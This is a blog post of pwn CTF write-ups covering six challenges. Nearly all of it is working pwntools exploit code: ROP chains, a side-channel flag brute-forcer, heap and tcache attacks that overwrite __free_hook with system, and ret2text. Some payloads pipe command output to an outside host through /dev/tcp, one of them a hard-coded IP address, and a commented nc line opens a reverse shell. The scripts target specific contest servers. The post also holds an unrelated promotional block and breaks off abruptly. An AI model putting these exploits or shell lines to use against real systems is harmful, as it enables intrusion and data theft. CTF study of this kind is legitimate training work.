CTF pwn direction partial problem solution

Posted by jasongr on Wed, 12 Jan 2022 12:09:40 +0100

dataleak

Two \ x00 can be skipped with "\ or / but each time" \ is used, 4 bytes will be copied to buf, so the last 3 bytes of data cannot be leaked. Therefore, / \ is used to control the leaked string with garbage data filling.

exp:

#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './cJSON_PWN'
ip = '124.70.202.226'
port = 2101
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
    LD_LIBRARY_PATH = './lib/'
    LD = LD_LIBRARY_PATH+'ld.so.6'
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path, checksec = False)
        if LIBC_VERSION:
            if HAS_LD:
                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
            else:
                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
        else:
            p = process(elf_path)
    else:
        p = remote(ip, port)

run(0)
payload = ' '*0xc + '"\\'
p.send(payload)

payload = 'a'*8 + ' '*4 + '"\\'
p.send(payload)
part1 = p.recv(11)

payload = 'a'*5 + ' '*7 + '/*'
p.send(payload)

payload = ' '*12 + '/*'
p.send(payload)
part2 = p.recv(11)

complete = part1 + part2
sa('data', complete)

p.interactive()

[I > all resources acquisition < I]
1. 200 out of print e-books that can't be bought
2. Video materials inside 30G safety factory
3. 100 src documents
4. Common safety interview questions
5. Analysis of classic topics in ctf competition
6. Complete kit
7. Emergency response notes
8. Network Security Learning Route

gadget

There is stack overflow, but only system calls with call numbers 0, 5 and 37 can be used. 5 is open under 32 bits, so the idea is to switch the heavy's gate to 32 bits to open the flag, then return to 64 bit read flag, and finally find a gadget to obtain the flag on the side channel.

The main difficulty lies in finding gadgets. There are four important gadgets. First, 0x40A756 is used to set rdx, but the zf bit needs to be 1 to execute normally, so 0x40106D is used to set zf. Then 0x40172A is used for stack migration, and finally 0x408F72 side channel is used to get the flag.

exp:

from pwn import *

read_addr=0x401170
retfq=0x4011EC
int80=0x4011F3
syscall=0x408865
flag=0x40D480
pop_rax=0x401001
pop_rbp=0x401102
pop_rbx_24=0x403072
pop_rcx=0x4092D0
pop_rdi_8=0x401734
pop_rsi_16=0x401732
pop_rdx_48=0x40A756
flag_addr=0x40D260
lea_rsp=0x40172A
set2z=0x40106D
cmpa=0x408F72
loop=0x40A765

bit32=p64(0x23)
bit64=p32(0x33)

fmap=[ord('_')]
fmap+=[i for i in range(ord('a'),ord('z')+1)]
fmap+=[i for i in range(ord('0'),ord('9')+1)]
fmap+=[i for i in range(ord('A'),ord('Z')+1)]
fmap+=[0,ord('@'),ord('-'),ord('{'),ord('}'),ord('?'),ord('!')]
f=''
c=len(f)
if_ok=False
while(not if_ok):
    caddr=flag+c
    sign=0
    for guess in fmap:
        #sh=process('./gadget')
        sh=remote('121.37.135.138',2102)
        payload="a"*0x38+p64(pop_rdi_8)+p64(flag_addr)+p64(0)+p64(read_addr)+p64(set2z)+p64(pop_rdx_48)+p64(0)*7
        payload+=p64(pop_rbp)+p64(flag_addr+8-0x28+0x20)+p64(lea_rsp)
        #print(hex(len(payload)))
        sh.send(payload.ljust(0xc0,'a'))

        payload2="flag\x00\x00\x00\x00"
        payload2+=p64(retfq)+p64(pop_rbx_24)+bit32+p32(flag_addr)+p32(0)*3+p32(pop_rcx)+p32(0)+p32(pop_rax)+p32(5)+p32(int80)
        payload2+=p32(retfq)+p32(pop_rdi_8)+bit64
        payload2+=p64(flag_addr+len(payload2)+24)+p64(0)+p64(read_addr)
        #print(hex(len(payload2)))
        sh.send(payload2.ljust(0xc0,'\x00'))

        payload3=p64(pop_rdi_8)+p64(3)+p64(0)+p64(pop_rsi_16)+p64(flag)+p64(0)*2+p64(pop_rax)+p64(0)+p64(syscall)
        payload3+=p64(pop_rdi_8)+p64(caddr+1)+p64(0)+p64(read_addr)
        payload3+=p64(pop_rsi_16)+p64(0)+p64(caddr-0x38)+p64(0)+p64(pop_rax)+p64(guess)+p64(cmpa)
        #print(hex(len(payload3)))
        sh.send(payload3.ljust(0xc0,'\x00'))

        payload4='\x00'*0xf+p64(0)
        sh.send(payload4)
        try:
            sh.send('ok')
            sh.recv(timeout=0.5)
            if(not guess):
                if_ok=True
                sign=1
                break
            f+=chr(guess)
            print(f)
            sh.close()
            sign=1
            break
        except:
            sh.close()
    if(not sign):
        f+='#'
    c=c+1
print(f)
sh.interactive()

Christmas_song

The difficulty is to understand the syntax of the slang language, mainly in the source com directory Y and scanner L in these two files. It can be seen that the variable syntax is defined as gift. The variable name is xxx can be an integer or a string, where is is equivalent to the operator '='. When it is a string, the variable is actually a heap block address. The syntax of the calling function is reindeer function name delivering gift parameter 1 Parameter 2 parameter 3 brings back gift return value, The return value can be omitted. It can be seen from the reverse that the Dancer and Dasher functions can open and read the flag respectively, and then compare the read flag side channel with the pracer function equivalent to strncmp to obtain the flag.

exp:

from pwn import *
import string

code="""
gift a is "/home/ctf/flag";
gift b is 0;
gift c is 0;
gift d is 64;
gift len is {};
gift test is "abcde";
gift flag is "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
gift guess is "{}";

reindeer Dancer delivering gift a b c brings back gift fd;
reindeer Dasher delivering gift fd flag d;
reindeer Prancer delivering gift flag guess len brings back gift e;
gift f is test+e;
reindeer Dancer delivering gift f b c;
"""

flag=""
if_ok=False
dic = '_'+string.ascii_letters + string.digits + "}"
while(not if_ok):
    for x in dic:
        sh=remote("124.71.144.133",2144)
        flag=flag+x
        c=len(flag)
        c_code=code.format(c,flag)
        sh.sendlineafter("(EOF to finish):\n",c_code+"EOF")
        sh.recvuntil('error')
        res=sh.recvline()
        #print(res)
        if(res[-6:-1]!="abcde"):
            flag=flag[:-1]
            sh.close()
        else:
            sh.close()
            print(flag)
            if(x=='}'):
                if_ok=True
            break

Christmas_bash

The offset of sleep is 0xed850, but the corresponding libc cannot be found. Finally, it is found that the version is 2.34. Calculate the values of system, pop, RDI and environ according to sleep, use them to define variables, and then define a storage VM_ call_ The variable stack of rsp when lambda returns. Then a function that does not exist is called, and its return value is the address on a heap, and its offset from the previously defined variable address is debugged. Then copy the stack address on the environ to the stack, and then get the VM according to the offset_ call_ rsp when lambda returns. Finally, the values of each variable are copied to rsp with memcpy to construct the rop chain.

code:

code="""
gift libcbase is sleep-972880;
gift environ is libcbase+2232000;
gift stack is sleep-16;
gift len is 8;
gift cmd is "bash -c '/home/ctf/getflag > /dev/tcp/ip/7777'";
gift cmdaddr is cmd+1;

reindeer haha delivering gift len len len brings back gift addr;
gift stackaddr is addr+5848;

reindeer Vixen delivering gift stackaddr environ len;
gift stack is stack-1184;
gift poprdi is libcbase+190149;
gift system is libcbase+346848;
gift ret is poprdi+1;

gift cmdaddraddr is addr+6104;
gift systemaddr is addr+6488;
gift poprdiaddr is addr+6456;
gift retaddr is addr+6520;

reindeer Vixen delivering gift stack retaddr len;
gift stacka is stack+8;

reindeer Vixen delivering gift stacka poprdiaddr len;
gift stacka is stacka+8;

reindeer Vixen delivering gift stacka cmdaddraddr len;
gift stacka is stacka+8;

reindeer Vixen delivering gift stacka systemaddr len;
gift stacka is stacka+8;
"""

Christmas_Wishes

"Character truncation parserstring heap length statistics logic, and then a very long string can be copied, resulting in heap overflow. The key has the same name as free and tcacheattack

exp: 

#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep

def chose(idx):
    sla('Chose', str(idx))
def add(name = '', value = ''):
    global payload
    payload += '"{}":"{}",'.format(name, value)
def package(content):
    if len(content) & 1:
        print('eeee')
    ans = ''
    for i in range(len(content)/2):
        ans += '\\u' + content[i*2:i*2+2].encode('hex')
    return ans

libc_addr = 0x7fd19f744000
loadlibc()
libc.address = libc_addr
# print(hex(libc.sym['__free_hook']))

shell = 'bash -c \'/This_is_your_gift > /dev/tcp/ip/7777\''
# shell = 'nc ip 7777|/bin/bash|nc ip 9999'

global payload
payload = ''
# for i in range(10):
#     add('a'*0x18 + str(i), 'a'*0x20)
add('a'*0x18 + 'a1', 'a'*0x20)
add('a'*0x18 + 'a2', 'a'*0x20)
add('a'*0x18 + 'a3', 'a'*0x20)
add('a'*0x18 + 'a4', 'a'*0x20)
add('a5', shell)
add('a'*0x18 + 'a1', 'b'*0x10)
add('a'*0x18 + 'a3', 'b'*0x10)
add('a'*0x20 + '\\"' + 'a'*0x6 + package(p64(0x31)) + package(p64(libc.sym['__free_hook'])), 'a'*0x20)
add(package(p64(libc.sym['system'])), 'a'*0x10)
add('a5', 'aa')
payload = '{' + payload + '}'
print(payload)
with open('payload', 'w') as f:
    f.write(payload)
payload: 

{"aaaaaaaaaaaaaaaaaaaaaaaaa1":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa2":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa3":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","aaaaaaaaaaaaaaaaaaaaaaaaa4":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","a5":"bash -c '/This_is_your_gift > /dev/tcp/49.232.202.102/7777'","aaaaaaaaaaaaaaaaaaaaaaaaa1":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaa3":"bbbbbbbbbbbbbbbb","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\"aaaaaa\u3100\u0000\u0000\u0000\u705e\u909f\ud17f\u0000":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","\u50ce\u789f\ud17f\u0000":"aaaaaaaaaaaaaaaa","a5":"aa",}

Checkin_ret2text

If the automation fails to write, the semi-automatic run will download the file first, and then manually analyze the corresponding parameters before 151 lines of pause

exp: 

#!python
#coding:utf-8

from pwn import *
import subprocess, sys, os
from time import sleep
from hashlib import sha256
import base64

sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)

elf_path = './x2.elf'
ip = '123.60.82.85'
port = 1447
remote_libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC_VERSION = ''
HAS_LD = False
HAS_DEBUG = False

context(os='linux', arch='amd64')
context.log_level = 'debug'

def run(local = 1):
    LD_LIBRARY_PATH = './lib/'
    LD = LD_LIBRARY_PATH+'ld.so.6'
    global elf
    global p
    if local == 1:
        elf = ELF(elf_path, checksec = False)
        if LIBC_VERSION:
            if HAS_LD:
                p = process([LD, elf_path], env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
            else:
                p = process(elf_path, env={"LD_LIBRARY_PATH": LD_LIBRARY_PATH})
        else:
            p = process(elf_path)
    else:
        p = remote(ip, port)
def debug(cmdstr=''):
    if HAS_DEBUG and LIBC_VERSION:
        DEBUG_PATH = '/opt/patchelf/libc-'+LIBC_VERSION+'/x64/usr/lib/debug/lib/x86_64-linux-gnu/'
        cmd='source /opt/patchelf/loadsym.py\n'
        cmd+='loadsym '+DEBUG_PATH+'libc-'+LIBC_VERSION+'.so\n'
        cmdstr=cmd+cmdstr
    gdb.attach(p, cmdstr)
    pause()
def loadlibc(filename = remote_libc_path):
    global libc
    libc = ELF(filename, checksec = False)
def one_gadget(filename = remote_libc_path):
    return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))
def str2int(s, info = '', offset = 0):
    if type(s) == int:
        s = p.recv(s)
    ret = u64(s.ljust(8, '\x00')) - offset
    success('%s ==> 0x%x'%(info, ret))
    return ret

def chose(idx):
    sla('Chose', str(idx))
def add(idx, size, content = '\n'):
    chose(1)
    sla('Index', str(idx))
    sla('Size', str(size))
    sa('Content', content)
def edit(idx, content):
    chose(2)
    sla('Index', str(idx))
    sa('Content', content)
def free(idx):
    chose(3)
    sla('Index', str(idx))
def show(idx):
    chose(4)
    sla('Index', str(idx))
def hash_digit(af, hash_hex):
    print(af, hash_hex)
    ch = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
    for i in ch:
        for j in ch:
            for k in ch:
                for h in ch:
                    if sha256(i + j + k + h + af).hexdigest() == hash_hex:
                        return i + j + k + h
def get_file(filename):
    p.recvuntil('sha256(xxxx + ')
    hash = p.recvuntil(')')[:-1]
    p.recvuntil('== ')
    hash_hex = p.recvuntil('\n')[:-2]
    ans = hash_digit(hash, hash_hex)
    print(ans)
    sla('give me xxxx:\n', ans)
    base64_e = p.recvuntil('==end==\n')[:-8]
    with open(filename, 'wb') as f:
        global elf
        elf = base64.b64decode(base64_e)
        f.write(elf)
def analysis(begin_addr):
    begin_addr += 0x18
    ranks = []

    def u32(content):
        return int(content[::-1].encode('hex'), 16)
    def insert(vec):
        for i, v in enumerate(ranks):
            if vec[0] < v[0]:
                ranks.insert(i, vec)
                return
        ranks.append(vec)
    def get_a_string(addr):
        ans = ''
        while elf[addr] != '\0':
            ans += elf[addr]
            addr += 1
        return ans

    addr = begin_addr
    n = ord(elf[addr+1])
    addr += 13
    for i in range(n):
        rk = u32(elf[addr+3: addr+7])
        va = u32(elf[addr+9])
        if va == 0x88:
            if elf[addr+7: addr+9] == '\xf7\xd0':
                va = 0xff
                addr -= 1
        if va == 0x2b:
            if elf[addr+7: addr+9] == '\x88\x85':
                va = 0
                addr -= 3
        # print(hex(rk))
        addr += 0x10
        insert((rk, va))
    # for i in ranks:
    #     print(hex(i[0]), hex(i[1]))
    print(hex(addr))
    addr += 0xa
    string_addr = addr + u32(elf[addr: addr+4]) + 4
    # print(hex(string_addr))
    string = get_a_string(string_addr)
    # print(string)
    ans = ''
    for i, v in enumerate(ranks):
        ans += chr(ord(string[i])^v[1])
    return ans

run(0)
get_file('x2.elf')

pause()
import datas
data = datas.data.split('\n')[-2::-1]
for i, v in enumerate(data):
    tmp = v.split(' ')
    if len(tmp) == 1 or len(tmp) == 2:
        if tmp[0] == 'EOF':
            data[i] = 'a' * int(tmp[1], 16)
        else:
            data[i] = analysis(int(tmp[0], 16))
    else:
        data[i] = ['0'] * int(tmp[0])
        data[i][int(tmp[1])] = tmp[2]

print(data)

for i in data:
    if type(i) == str:
        sa(':', i)
    else:
        p.recvuntil(':')
        for j in i:
            p.send(j+' ')

backdoor = p64(0x401354) * 10
payload = 'a'*datas.offset + backdoor
p.sendline(payload)
sleep(0.1)
p.sendline('cat flag')
p.interactive()
Fill in the analysis results datas.py

data = '''8 0 31292
dde6
DA3E
8 0 0
C926
6 0 0
EOF 24
'''

offset = 0x0

Then he ran out

Topics: security Cyber Security penetration test CTF security hole